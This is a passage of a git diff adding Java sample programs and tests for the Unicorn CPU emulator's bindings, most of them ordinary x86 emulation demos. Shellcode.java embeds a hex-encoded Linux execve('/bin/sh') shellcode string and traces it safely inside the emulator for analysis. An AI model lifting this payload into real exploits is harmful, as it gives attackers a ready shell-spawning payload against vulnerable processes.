System.out.format(">>> Failed to read 4 bytes from [0x%x]\n", + 0xffffffaa); + } + } + + // emulate code that jump to invalid memory + public static void test_i386_jump_invalid() { + int r_ecx = 0x1234; // ECX register + int r_edx = 0x7890; // EDX register + + System.out.println("Emulate i386 code that jumps to invalid memory"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); + + // initialize machine registers + uc.reg_write(UC_X86_REG_ECX, r_ecx); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instructions by having @begin > @end + uc.hook_add(hook_code, 1, 0, null); + + // emulate machine code in infinite time + try { + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, + 0); + throw new RuntimeException("Expected a crash!"); + } catch (UnicornException e) { + System.out.println("uc.emu_start failed as expected: " + e); + } + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + System.out.format(">>> EDX = 0x%x\n", uc.reg_read(UC_X86_REG_EDX)); + } + + public static void test_i386_inout() { + int r_eax = 0x1234; // EAX register + int r_ecx = 0x6789; // ECX register + + System.out.println("Emulate i386 code with IN/OUT instructions"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_INOUT); + + // initialize machine registers + uc.reg_write(UC_X86_REG_EAX, r_eax); + uc.reg_write(UC_X86_REG_ECX, r_ecx); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instructions + uc.hook_add(hook_code, 1, 0, null); + + // uc IN instruction + uc.hook_add(hook_in, null); + // uc OUT instruction + uc.hook_add(hook_out, null); + + // emulate machine code in infinite time + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> EAX = 0x%x\n", uc.reg_read(UC_X86_REG_EAX)); + System.out.format(">>> ECX = 0x%x\n", uc.reg_read(UC_X86_REG_ECX)); + } + + // emulate code and save/restore the CPU context + public static void test_i386_context_save() { + int r_eax = 0x1; // EAX register + + System.out.println("Save/restore CPU context in opaque blob"); + + // initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 8KB memory for this emulation + uc.mem_map(ADDRESS, 8 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_INC); + + // initialize machine registers + uc.reg_write(UC_X86_REG_EAX, r_eax); + + // emulate machine code in infinite time + System.out.println(">>> Running emulation for the first time"); + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_INC.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> EAX = 0x%x\n", uc.reg_read(UC_X86_REG_EAX)); + + // allocate and save the CPU context + System.out.println(">>> Saving CPU context"); + Unicorn.Context context = uc.context_save(); + + // emulate machine code again + System.out.println(">>> Running emulation for the second time"); + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_INC.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> EAX = 0x%x\n", uc.reg_read(UC_X86_REG_EAX)); + + // restore CPU context + uc.context_restore(context); + + // now print out some registers + System.out + .println(">>> CPU context restored. Below is the CPU context"); + System.out.format(">>> EAX = 0x%x\n", uc.reg_read(UC_X86_REG_EAX)); + + // modify some registers of the context + context.reg_write(UC_X86_REG_EAX, 0xc8); + + // and restore CPU context again + uc.context_restore(context); + + // now print out some registers + System.out.format( + ">>> CPU context restored with modification. Below is the CPU context\n"); + System.out.format(">>> EAX = 0x%x\n", uc.reg_read(UC_X86_REG_EAX)); + } + + public static void test_x86_64() { + long rax = 0x71f3029efd49d41dL; + long rbx = 0xd87b45277f133ddbL; + long rcx = 0xab40d1ffd8afc461L; + long rdx = 0x919317b4a733f01L; + long rsi = 0x4c24e753a17ea358L; + long rdi = 0xe509a57d2571ce96L; + long r8 = 0xea5b108cc2b9ab1fL; + long r9 = 0x19ec097c8eb618c1L; + long r10 = 0xec45774f00c5f682L; + long r11 = 0xe17e9dbec8c074aaL; + long r12 = 0x80f86a8dc0f6d457L; + long r13 = 0x48288ca5671c5492L; + long r14 = 0x595f72f6e4017f6eL; + long r15 = 0x1efd97aea331ccccL; + + long rsp = ADDRESS + 0x200000L; + + System.out.println("Emulate x86_64 code"); + + // Initialize emulator in X86-64bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE64); + + // initialize machine registers + uc.reg_write(UC_X86_REG_RSP, rsp); + + uc.reg_write(UC_X86_REG_RAX, rax); + uc.reg_write(UC_X86_REG_RBX, rbx); + uc.reg_write(UC_X86_REG_RCX, rcx); + uc.reg_write(UC_X86_REG_RDX, rdx); + uc.reg_write(UC_X86_REG_RSI, rsi); + uc.reg_write(UC_X86_REG_RDI, rdi); + uc.reg_write(UC_X86_REG_R8, r8); + uc.reg_write(UC_X86_REG_R9, r9); + uc.reg_write(UC_X86_REG_R10, r10); + uc.reg_write(UC_X86_REG_R11, r11); + uc.reg_write(UC_X86_REG_R12, r12); + uc.reg_write(UC_X86_REG_R13, r13); + uc.reg_write(UC_X86_REG_R14, r14); + uc.reg_write(UC_X86_REG_R15, r15); + + // tracing all basic blocks with customized callback + uc.hook_add(hook_block, 1, 0, null); + + // tracing all instructions in the range [ADDRESS, ADDRESS+20] + uc.hook_add(hook_code64, ADDRESS, ADDRESS + 20, null); + + // tracing all memory WRITE access (with @begin > @end) + uc.hook_add(hook_mem64, UC_HOOK_MEM_WRITE, 1, 0, null); + + // tracing all memory READ access (with @begin > @end) + uc.hook_add(hook_mem64, UC_HOOK_MEM_READ, 1, 0, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + X86_CODE64.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + System.out.format(">>> RAX = 0x%x\n", uc.reg_read(UC_X86_REG_RAX)); + System.out.format(">>> RBX = 0x%x\n", uc.reg_read(UC_X86_REG_RBX)); + System.out.format(">>> RCX = 0x%x\n", uc.reg_read(UC_X86_REG_RCX)); + System.out.format(">>> RDX = 0x%x\n", uc.reg_read(UC_X86_REG_RDX)); + System.out.format(">>> RSI = 0x%x\n", uc.reg_read(UC_X86_REG_RSI)); + System.out.format(">>> RDI = 0x%x\n", uc.reg_read(UC_X86_REG_RDI)); + System.out.format(">>> R8 = 0x%x\n", uc.reg_read(UC_X86_REG_R8)); + System.out.format(">>> R9 = 0x%x\n", uc.reg_read(UC_X86_REG_R9)); + System.out.format(">>> R10 = 0x%x\n", uc.reg_read(UC_X86_REG_R10)); + System.out.format(">>> R11 = 0x%x\n", uc.reg_read(UC_X86_REG_R11)); + System.out.format(">>> R12 = 0x%x\n", uc.reg_read(UC_X86_REG_R12)); + System.out.format(">>> R13 = 0x%x\n", uc.reg_read(UC_X86_REG_R13)); + System.out.format(">>> R14 = 0x%x\n", uc.reg_read(UC_X86_REG_R14)); + System.out.format(">>> R15 = 0x%x\n", uc.reg_read(UC_X86_REG_R15)); + } + + public static void test_x86_64_syscall() { + long rax = 0x100; + + System.out.println("Emulate x86_64 code with 'syscall' instruction"); + + // Initialize emulator in X86-64bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_64); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE64_SYSCALL); + + // hook interrupts for syscall + uc.hook_add(hook_syscall, UC_X86_INS_SYSCALL, 1, 0, null); + + // initialize machine registers + uc.reg_write(UC_X86_REG_RAX, rax); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(ADDRESS, ADDRESS + X86_CODE64_SYSCALL.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + System.out.format(">>> RAX = 0x%x\n", uc.reg_read(UC_X86_REG_RAX)); + } + + public static void test_x86_16() { + int eax = 7; + int ebx = 5; + int esi = 6; + + System.out.println("Emulate x86 16-bit code"); + + // Initialize emulator in X86-16bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_16); + + // map 8KB memory for this emulation + uc.mem_map(0, 8 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(0, X86_CODE16); + + // initialize machine registers + uc.reg_write(UC_X86_REG_EAX, eax); + uc.reg_write(UC_X86_REG_EBX, ebx); + uc.reg_write(UC_X86_REG_ESI, esi); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + uc.emu_start(0, X86_CODE16.length, 0, 0); + + // now print out some registers + System.out.println(">>> Emulation done. Below is the CPU context"); + + // read from memory + byte[] result = uc.mem_read(11, 1); + System.out.format(">>> Read 1 bytes from [0x%x] = 0x%x\n", 11, + result[0] & 0xff); + } + + public static void test_i386_invalid_mem_read_in_tb() { + int r_eax = 0x1234; // EAX register + int r_edx = 0x7890; // EDX register + + System.out.format( + "Emulate i386 code that read invalid memory in the middle of a TB\n"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_MEM_READ_IN_TB); + + // initialize machine registers + uc.reg_write(UC_X86_REG_EAX, r_eax); + uc.reg_write(UC_X86_REG_EDX, r_edx); + + // Add a dummy callback. + // Note: if this callback is not added, the EIP will not be updated, + // and EIP will read as ADDRESS after emu_start fails. + uc.hook_add((MemHook) (u, type, address, size, value, user) -> { + }, UC_HOOK_MEM_READ, 1, 0, null); + + // Let it crash by design. + try { + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ_IN_TB.length, 0, + 0); + throw new RuntimeException("Expected uc.emu_start to fail"); + } catch (UnicornException e) { + System.out.println( + "uc.emu_start() failed BY DESIGN with error returned: " + e); + } + + System.out.println(">>> Emulation done. Below is the CPU context"); + + long r_eip = uc.reg_read(UC_X86_REG_EIP); + System.out.format(">>> EIP = 0x%x\n", r_eip); + + if (r_eip != ADDRESS + 1) { + System.out.format( + ">>> ERROR: Wrong PC 0x%x when reading unmapped memory in the middle of TB!\n", + r_eip); + } else { + System.out.format( + ">>> The PC is correct after reading unmapped memory in the middle of TB.\n"); + } + } + + public static void test_i386_smc_xor() { + long r_edi = ADDRESS; // ECX register + long r_eax = 0xbc4177e6L; // EDX register + + System.out.println("Emulate i386 code that modfies itself"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 1KB memory for this emulation + uc.mem_map(ADDRESS, 0x1000, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_CODE32_SMC); + + // initialize machine registers + uc.reg_write(UC_X86_REG_EDI, r_edi); + uc.reg_write(UC_X86_REG_EAX, r_eax); + + // **Important Note** + // + // Since SMC code will cause TB regeneration, the XOR in fact would executed + // twice (the first execution won't take effect.). Thus, if you would like + // to use count to control the emulation, the count should be set to 2. + // + // uc.emu_start(ADDRESS, ADDRESS + 3, 0, 0); + uc.emu_start(ADDRESS, 0, 0, 2); + + System.out.println(">>> Emulation done. Below is the result."); + + int result = Utils.toInt(uc.mem_read(ADDRESS + 3, 4)); + + if (result == (0x3ea98b13 ^ 0xbc4177e6)) { + System.out.format( + ">>> SMC emulation is correct. 0x3ea98b13 ^ 0xbc4177e6 = 0x%x\n", + result); + } else { + System.out.format( + ">>> SMC emulation is wrong. 0x3ea98b13 ^ 0xbc4177e6 = 0x%x\n", + result); + } + } + + private static final MmioReadHandler mmio_read_callback = + (uc, offset, size, user_data) -> { + System.out.format( + ">>> Read IO memory at offset 0x%d with 0x%d bytes and return 0x19260817\n", + offset, size); + // The value returned here would be written to ecx. + return 0x19260817; + }; + + private static final MmioWriteHandler mmio_write_callback = + (uc, offset, size, value, user_data) -> { + System.out.format( + ">>> Write value 0x%d to IO memory at offset 0x%d with 0x%d bytes\n", + value, offset, size); + }; + + public static void test_i386_mmio() { + long r_ecx = 0xdeadbeefL; + + System.out.println("Emulate i386 code that uses MMIO"); + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 1KB memory for this emulation + uc.mem_map(ADDRESS, 0x1000, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc.mem_write(ADDRESS, X86_MMIO_CODE); + uc.mmio_map(0x20000, 0x4000, mmio_read_callback, null, + mmio_write_callback, null); + + // prepare ecx + uc.reg_write(UC_X86_REG_ECX, r_ecx); + + uc.emu_start(ADDRESS, ADDRESS + X86_MMIO_CODE.length, 0, 0); + System.out.format(">>> Emulation done. ECX=0x%x\n", + uc.reg_read(UC_X86_REG_ECX)); + } + + private static final EventMemHook test_i386_hook_mem_invalid_cb = + (uc, type, address, size, value, user_data) -> { + if (type == UC_MEM_READ_UNMAPPED || type == UC_MEM_WRITE_UNMAPPED) { + System.out.format( + ">>> We have to add a map at 0x%x before continue execution!\n", + address); + uc.mem_map(address, 0x1000, UC_PROT_ALL); + } + + // If you really would like to continue the execution, make sure the memory + // is already mapped properly! + return true; + }; + + public static void test_i386_hook_mem_invalid() { + // mov eax, 0xdeadbeef; + // mov [0x8000], eax; + // mov eax, [0x10000]; + byte[] code = Utils.hexToBytes("b8efbeaddea300800000a100000100"); + + System.out.println( + "Emulate i386 code that triggers invalid memory read/write."); + + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + uc.mem_map(ADDRESS, 0x1000, UC_PROT_ALL); + uc.mem_write(ADDRESS, code); + long hook = uc.hook_add(test_i386_hook_mem_invalid_cb, + UC_HOOK_MEM_INVALID, 1, 0, null); + uc.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); + + uc.hook_del(hook); + } + + public static void main(String args[]) { + if (args.length == 1) { + if (args[0].equals("-16")) { + test_x86_16(); + } else if (args[0].equals("-32")) { + test_miss_code(); + System.out.println("==================================="); + test_i386(); + System.out.println("==================================="); + test_i386_map_ptr(); + System.out.println("==================================="); + test_i386_inout(); + System.out.println("==================================="); + test_i386_context_save(); + System.out.println("==================================="); + test_i386_jump(); + System.out.println("==================================="); + test_i386_loop(); + System.out.println("==================================="); + test_i386_invalid_mem_read(); + System.out.println("==================================="); + test_i386_invalid_mem_write(); + System.out.println("==================================="); + test_i386_jump_invalid(); + // test_i386_invalid_c6c7(); + } else if (args[0].equals("-64")) { + test_x86_64(); + System.out.println("==================================="); + test_x86_64_syscall(); + } else if (args[0].equals("-h")) { + System.out.println( + "Syntax: java samples.Sample_x86 <-16|-32|-64>"); + } + } else { + test_x86_16(); + System.out.println("==================================="); + test_miss_code(); + System.out.println("==================================="); + test_i386(); + System.out.println("==================================="); + test_i386_map_ptr(); + System.out.println("==================================="); + test_i386_inout(); + System.out.println("==================================="); + test_i386_context_save(); + System.out.println("==================================="); + test_i386_jump(); + System.out.println("==================================="); + test_i386_loop(); + System.out.println("==================================="); + test_i386_invalid_mem_read(); + System.out.println("==================================="); + test_i386_invalid_mem_write(); + System.out.println("==================================="); + test_i386_jump_invalid(); + // test_i386_invalid_c6c7(); + System.out.println("==================================="); + test_x86_64(); + System.out.println("==================================="); + test_x86_64_syscall(); + System.out.println("==================================="); + test_i386_invalid_mem_read_in_tb(); + System.out.println("==================================="); + test_i386_smc_xor(); + System.out.println("==================================="); + test_i386_mmio(); + System.out.println("==================================="); + test_i386_hook_mem_invalid(); + } + } +} diff --git a/bindings/java/src/test/java/samples/Sample_x86_mmr.java b/bindings/java/src/test/java/samples/Sample_x86_mmr.java new file mode 100644 index 0000000000..df38d2161c --- /dev/null +++ b/bindings/java/src/test/java/samples/Sample_x86_mmr.java @@ -0,0 +1,239 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Sample code to demonstrate how to register read/write API */ + +package samples; + +import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.util.Arrays; + +import unicorn.*; + +public class Sample_x86_mmr implements UnicornConst, X86Const { + + private static final MemHook hook_mem = + (uc, type, address, size, value, user_data) -> { + switch (type) { + case UC_MEM_WRITE: + System.out.format( + "mem write at 0x%x, size = %d, value = 0x%x\n", + address, size, value); + break; + default: + break; + } + }; + private static final CodeHook hook_code = + (uc, address, size, user_data) -> { + System.out.format("Executing at 0x%x, ilen = 0x%x\n", address, + size); + }; + + public static class SegmentDescriptor { + public static final int BYTES = 8; + + int base; + int limit; + + byte type; // 4 bits + byte system; // 1 bit: S flag + byte dpl; // 2 bits + byte present; // 1 bit: P flag + byte avail; // 1 bit + byte is_64_code; // 1 bit: L flag + byte db; // 1 bit: DB flag + byte granularity; // 1 bit: G flag + + public SegmentDescriptor() { + } + + // VERY basic descriptor init function, sets many fields to user space sane + // defaults + public SegmentDescriptor(int base, int limit, boolean is_code) { + this.base = base; + if (limit > 0xfffff) { + // need Giant granularity + limit >>= 12; + this.granularity = 1; + } + this.limit = limit; + + // some sane defaults + this.dpl = 3; + this.present = 1; + this.db = 1; // 32 bit + this.type = is_code ? (byte) 0xb : 3; + this.system = 1; // code or data + } + + public void appendToBuffer(ByteBuffer buf) { + buf.putShort((short) limit); + buf.putShort((short) base); + buf.put((byte) (base >>> 16)); + buf.put( + (byte) (type | (system << 4) | (dpl << 5) | (present << 7))); + buf.put((byte) (((limit >>> 16) & 0xf) | (avail << 4) | + (is_64_code << 5) | (db << 6) | (granularity << 7))); + buf.put((byte) (base >>> 24)); + } + } + + public static void test_x86_mmr() { + System.out.println("Test x86 MMR read/write"); + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 4k + uc.mem_map(0x400000, 0x1000, UC_PROT_ALL); + + X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, + (short) 0x5555); + X86_MMR ldtr2; + X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, + (short) 0xaaaa); + X86_MMR gdtr2; + + long eax; + + // initialize machine registers + + uc.reg_write(UC_X86_REG_LDTR, ldtr1); + uc.reg_write(UC_X86_REG_GDTR, gdtr1); + uc.reg_write(UC_X86_REG_EAX, 0xddddddddL); + + // read the registers back out + eax = uc.reg_read(UC_X86_REG_EAX); + ldtr2 = (X86_MMR) uc.reg_read(UC_X86_REG_LDTR, null); + gdtr2 = (X86_MMR) uc.reg_read(UC_X86_REG_GDTR, null); + + System.out.printf(">>> EAX = 0x%x\n", eax); + + System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base); + System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit); + System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags); + System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector); + + System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base); + System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit); + } + + public static void gdt_demo() { + System.out.println("Demonstrate GDT usage"); + /* + bits 32 + + push dword 0x01234567 + push dword 0x89abcdef + + mov dword [fs:0], 0x01234567 + mov dword [fs:4], 0x89abcdef + */ + final byte[] code = + Utils.hexToBytes("686745230168efcdab8964c70500000000" + + "6745230164c70504000000efcdab89"); + final long code_address = 0x1000000L; + final long stack_address = 0x120000L; + final long gdt_address = 0xc0000000L; + final long fs_address = 0x7efdd000L; + + SegmentDescriptor[] gdt = new SegmentDescriptor[31]; + + int r_esp = (int) stack_address + 0x1000; // initial esp + int r_cs = 0x73; + int r_ss = 0x88; // ring 0 + int r_ds = 0x7b; + int r_es = 0x7b; + int r_fs = 0x83; + + X86_MMR gdtr = + new X86_MMR(gdt_address, gdt.length * SegmentDescriptor.BYTES - 1); + + gdt[14] = new SegmentDescriptor(0, 0xfffff000, true); // code segment + gdt[15] = new SegmentDescriptor(0, 0xfffff000, false); // data segment + gdt[16] = new SegmentDescriptor((int) fs_address, 0xfff, false); // one page data segment simulate fs + gdt[17] = new SegmentDescriptor(0, 0xfffff000, false); // ring 0 data + gdt[17].dpl = 0; // set descriptor privilege level + + // Initialize emulator in X86-32bit mode + Unicorn uc = new Unicorn(UC_ARCH_X86, UC_MODE_32); + uc.hook_add(hook_code, code_address, code_address + code.length, null); + uc.hook_add(hook_mem, UC_HOOK_MEM_WRITE, 1, 0, null); + + // map 1 page of code for this emulation + uc.mem_map(code_address, 0x1000, UC_PROT_ALL); + // map 1 page of stack for this emulation + uc.mem_map(stack_address, 0x1000, UC_PROT_READ | UC_PROT_WRITE); + // map 64k for a GDT + uc.mem_map(gdt_address, 0x10000, UC_PROT_WRITE | UC_PROT_READ); + // set up a GDT BEFORE you manipulate any segment registers + uc.reg_write(UC_X86_REG_GDTR, gdtr); + // write gdt to be emulated to memory + ByteBuffer gdt_buf = + ByteBuffer.allocate(gdt.length * SegmentDescriptor.BYTES) + .order(ByteOrder.LITTLE_ENDIAN); + for (SegmentDescriptor desc : gdt) { + if (desc == null) { + gdt_buf.put(new byte[SegmentDescriptor.BYTES]); + } else { + desc.appendToBuffer(gdt_buf); + } + } + uc.mem_write(gdt_address, gdt_buf.array()); + // map 1 page for FS + uc.mem_map(fs_address, 0x1000, UC_PROT_WRITE | UC_PROT_READ); + // write machine code to be emulated to memory + uc.mem_write(code_address, code); + // initialize machine registers + uc.reg_write(UC_X86_REG_ESP, r_esp); + // when setting SS, need rpl == cpl && dpl == cpl + // emulator starts with cpl == 0, so we need a dpl 0 descriptor and rpl 0 + // selector + uc.reg_write(UC_X86_REG_SS, r_ss); + uc.reg_write(UC_X86_REG_CS, r_cs); + uc.reg_write(UC_X86_REG_DS, r_ds); + uc.reg_write(UC_X86_REG_ES, r_es); + uc.reg_write(UC_X86_REG_FS, r_fs); + // emulate machine code in infinite time + uc.emu_start(code_address, code_address + code.length, 0, 0); + + // read from memory + byte[] buf = uc.mem_read(r_esp - 8, 8); + for (int i = 0; i < 8; i++) { + System.out.format("%02x", buf[i] & 0xff); + } + System.out.println(); + + assert Arrays.equals(buf, Utils.hexToBytes("efcdab8967452301")); + + // read from memory + buf = uc.mem_read(fs_address, 8); + assert Arrays.equals(buf, Utils.hexToBytes("67452301efcdab89")); + } + + public static void main(String args[]) { + test_x86_mmr(); + System.out.println("==================================="); + gdt_demo(); + } + +} diff --git a/bindings/java/src/test/java/samples/Shellcode.java b/bindings/java/src/test/java/samples/Shellcode.java new file mode 100644 index 0000000000..6ed1d45fdf --- /dev/null +++ b/bindings/java/src/test/java/samples/Shellcode.java @@ -0,0 +1,145 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh & Dang Hoang Vu, 2015 */ + +/* Sample code to trace code with Linux code with syscall */ + +package samples; + +import unicorn.*; + +public class Shellcode implements UnicornConst, X86Const { + + public static final byte[] X86_CODE32_SELF = Utils.hexToBytes( + "eb1c5a89d68b02663dca7d75066605030389" + + "02fec23d4141414175e9ffe6e8dfffffff31" + + "d26a0b589952682f2f7368682f62696e89e3" + + "525389e1ca7d4141414141414141"); + + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; + + public static CodeHook hook_code = (u, address, size, user) -> { + System.out.format( + "Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + + long r_eip = u.reg_read(UC_X86_REG_EIP); + System.out.format("*** EIP = %x ***: ", r_eip); + + byte[] tmp = u.mem_read(address, size); + for (int i = 0; i < tmp.length; i++) { + System.out.format("%x ", 0xff & tmp[i]); + } + System.out.println(); + }; + + public static InterruptHook hook_intr = (u, intno, user) -> { + // only handle Linux syscall + if (intno != 0x80) { + return; + } + + long r_eax = u.reg_read(UC_X86_REG_EAX); + long r_eip = u.reg_read(UC_X86_REG_EIP); + + switch ((int) r_eax) { + default: + System.out.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", + r_eip, intno, r_eax); + break; + case 1: // sys_exit + System.out.format( + ">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", + r_eip, intno); + u.emu_stop(); + break; + case 4: { // sys_write + // ECX = buffer address + long r_ecx = u.reg_read(UC_X86_REG_ECX); + + // EDX = buffer size + long r_edx = u.reg_read(UC_X86_REG_EDX); + + // read the buffer in + int size = (int) Math.min(256, r_edx); + + try { + byte[] buffer = u.mem_read(r_ecx, size); + System.out.format( + ">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n", + r_eip, intno, r_ecx, r_edx, new String(buffer)); + } catch (UnicornException e) { + System.out.format( + ">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u (cannot get content)\n", + r_eip, intno, r_ecx, r_edx); + } + break; + } + } + }; + + public static void test_i386() { + long r_esp = ADDRESS + 0x200000L; // ESP register + + System.out.println("Emulate i386 code"); + + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(UC_ARCH_X86, UC_MODE_32); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, X86_CODE32_SELF); + + // initialize machine registers + u.reg_write(UC_X86_REG_ESP, r_esp); + + // tracing all instructions by having @begin > @end + u.hook_add(hook_code, 1, 0, null); + + // handle interrupt ourself + u.hook_add(hook_intr, null); + + System.out.println("\n>>> Start tracing this Linux code"); + + // emulate machine code in infinite time + // u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions + u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0); + + System.out.println("\n>>> Emulation done."); + } + + public static void main(String args[]) { + if (args.length == 1) { + if ("-32".equals(args[0])) { + test_i386(); + } + } else { + System.out.println("Syntax: java Shellcode <-32|-64>"); + } + + } + +} diff --git a/bindings/java/src/test/java/samples/Utils.java b/bindings/java/src/test/java/samples/Utils.java new file mode 100644 index 0000000000..260fed703e --- /dev/null +++ b/bindings/java/src/test/java/samples/Utils.java @@ -0,0 +1,49 @@ +package samples; + +public class Utils { + public static byte[] hexToBytes(String s) { + int len = s.length(); + byte[] data = new byte[len / 2]; + for (int i = 0; i < len; i += 2) { + data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + + Character.digit(s.charAt(i + 1), 16)); + } + return data; + } + + public static final int toInt(byte val[]) { + int res = 0; + for (int i = 0; i < val.length; i++) { + int v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final long toLong(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } + + public static final byte[] toBytes(int val) { + byte[] res = new byte[4]; + for (int i = 0; i < 4; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } +} diff --git a/bindings/java/src/test/java/tests/FunctionalityTests.java b/bindings/java/src/test/java/tests/FunctionalityTests.java new file mode 100644 index 0000000000..d40d0218e3 --- /dev/null +++ b/bindings/java/src/test/java/tests/FunctionalityTests.java @@ -0,0 +1,188 @@ +package tests; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertThrows; +import static org.junit.Assert.assertTrue; + +import org.junit.Test; + +import unicorn.Unicorn; +import unicorn.UnicornException; + +/** Test miscellaneous features that don't fall into the register, memory + * or hook API */ +public class FunctionalityTests { + + @Test + public void testStatics() { + assertEquals(true, Unicorn.arch_supported(Unicorn.UC_ARCH_X86)); + assertEquals(false, Unicorn.arch_supported(Unicorn.UC_ARCH_MAX + 1)); + assertTrue("version check", Unicorn.version() >= 0x02000100); + 